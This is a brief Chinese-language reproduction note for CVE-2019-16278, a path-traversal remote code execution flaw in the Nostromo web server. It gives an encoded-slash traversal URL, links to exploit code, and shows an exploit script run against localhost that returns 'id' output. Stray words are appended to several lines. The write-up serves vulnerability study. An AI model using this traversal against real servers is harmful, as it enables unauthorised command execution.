[漏洞复现]:CVE-2019-16278 Nostromo web server RCE

漏洞描述

Nostromo web server(nhttpd)是一个开源的web服务器,在Unix系统很是流行。html

漏洞缘由是web服务在对URL进行检查是在URL被解码前,攻击者能够将/转换为%2f就可绕过检查,以前出现过相似漏洞CVE-2011-0751,POC以下:git

http://www.example.org/..%2flogs/access_log

利用前提github

Nostromo version <= 1.9.6web

漏洞复现

Python POC:https://github.com/sudohyak/exploit/blob/master/CVE-2019-16278/exploit.py服务器

mark@mark-Pc:~/nhttpd-exploits$ ./CVE-2019-16278.sh 127.0.0.1 80 id
uid=1000(mark) gid=1000(mark) groups=1000(mark),0(root)

EXP: https://git.sp0re.sh/sp0re/Nhttpd-exploitsui

参考code

https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html?utm_source=webcode.ca&utm_medium=web&utm_campaign=twitter
https://nosec.org/home/detail/3074.htmlserver

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